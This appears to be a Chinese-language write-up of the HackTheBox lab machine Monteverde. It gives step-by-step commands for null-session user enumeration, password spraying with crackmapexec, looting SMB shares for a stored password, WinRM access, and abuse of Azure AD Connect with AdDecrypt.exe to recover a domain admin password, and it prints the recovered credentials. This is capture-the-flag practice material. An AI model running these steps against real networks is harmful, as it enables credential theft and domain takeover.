HTB-Monteverde

初始权限获得

rpcclient -U "" -N 10.10.10.172

rpcclient $> querydispinfo 得到用用户列表

把用户当作密码尝试一下爆破

crackmapexec smb 10.10.10.172 -u users -p users --continue-on-success

得到

利用

smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs

smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs -R 'users$' -R 递归user$列表下的所有文件

有一个文件位于\\10.10.10.172\mhope\azure.xml 可以尝试下载下来看一下

smbclient下载，查看里面有一个密码

4n0therD4y@n0th3r$

4n0therD4y@n0th3r$

该文件是在user目录下的由于该配置文件位于 mhope 目录下发现的，判断他是mhope的密码

crackmapexec winrm 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$' 判断正确

Azure admin（云身份认证）

net user 该用户属于 *Azure Admins 组

还有很多与此相关的程序：

*Evil-WinRM* PS C:\Program Files> ls *Azure*
​
    Directory: C:\Program Files
​
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         1/2/2020   2:51 PM                Microsoft Azure Active Directory Connect
d-----         1/2/2020   3:37 PM                Microsoft Azure Active Directory Connect Upgrader
d-----         1/2/2020   3:02 PM                Microsoft Azure AD Connect Health Sync Agent
d-----         1/2/2020   2:53 PM                Microsoft Azure AD Sync   

Azure Active Directory (Azure AD) 是 Microsoft 基于云的身份和访问管理服务。它是一个全面的身份和访问管理解决方案，提供强大的安全性、可扩展性以及与各种 Microsoft 和第三方服务的集成。Azure AD 是 Microsoft Azure 云平台的基本组件，广泛用于管理用户身份并实现对应用程序和资源的安全访问。

goole找exploit AD via azure

Azure AD Connect for Red Teamers - XPN InfoSec Blog

Azure AD Connect Database Exploit (Priv Esc) | VbScrub

Releases · VbScrub/AdSyncDecrypt · GitHub 工具

我对滥用 Azure 连接的粗糙理解

第一个，也可以说是最有趣的是密码哈希同步 (PHS)，它将用户帐户和密码哈希从 Active Directory 上传到 Azure。第二种方法是直通身份验证 (PTA)，它允许 Azure 将身份验证请求转发到本地 AD，而不是依赖上传哈希值。最后，我们有联合身份验证，这是我们已经见过无数次的传统 ADFS 部署。

phs

在安装 Azure AD Connect 期间创建了一个新用户，用户名为MSOL_[HEX]，然后这个用户来处理 Active Directory 到 Azure 的复制，要获取该用户权限，

现在，默认情况下，部署连接器时，会使用 SQL Server 的 LOCALDB 在主机上创建一个新数据库，里面有个文件有用户的详细信息加密

C:\Program Files\Microsoft Azure AD Sync\Binn\mcrypt.dll对负责密钥管理和此数据解密的程序集的许多引用，可以利用poc它将从 LocalDB 实例检索密钥材料，然后将其传递给程序mcrypt.dll集进行解密：

攻击前提破坏：包含 Azure AD Connect 服务的服务器，并获得对 ADSyncAdmins 或本地管理员组的访问权限，您就能够检索能够执行 DCSync 的帐户的凭据：

pta没写了

利用过程（需要上传到用户的工作目录，这边选C:\Users\mhope\Documents）

upload /home/kali/monte/AdDecrypt.exe

upload /home/kali/monte/mcrypt.dll

切换目录报错

解决（因为有空格所以加”“就可以

Set-Location "C:\Program Files" Set-Location是cd替代

cd "Microsoft Azure AD Sync\Bin“

需要在C:\Program Files\Microsoft Azure AD Sync\Bin下执行该用户工作目录下的AdDecrypt.exe

\users\mhope\documents\AdDecrypt.exe -FullSQL

可以得到密码d0m@in4dminyeah!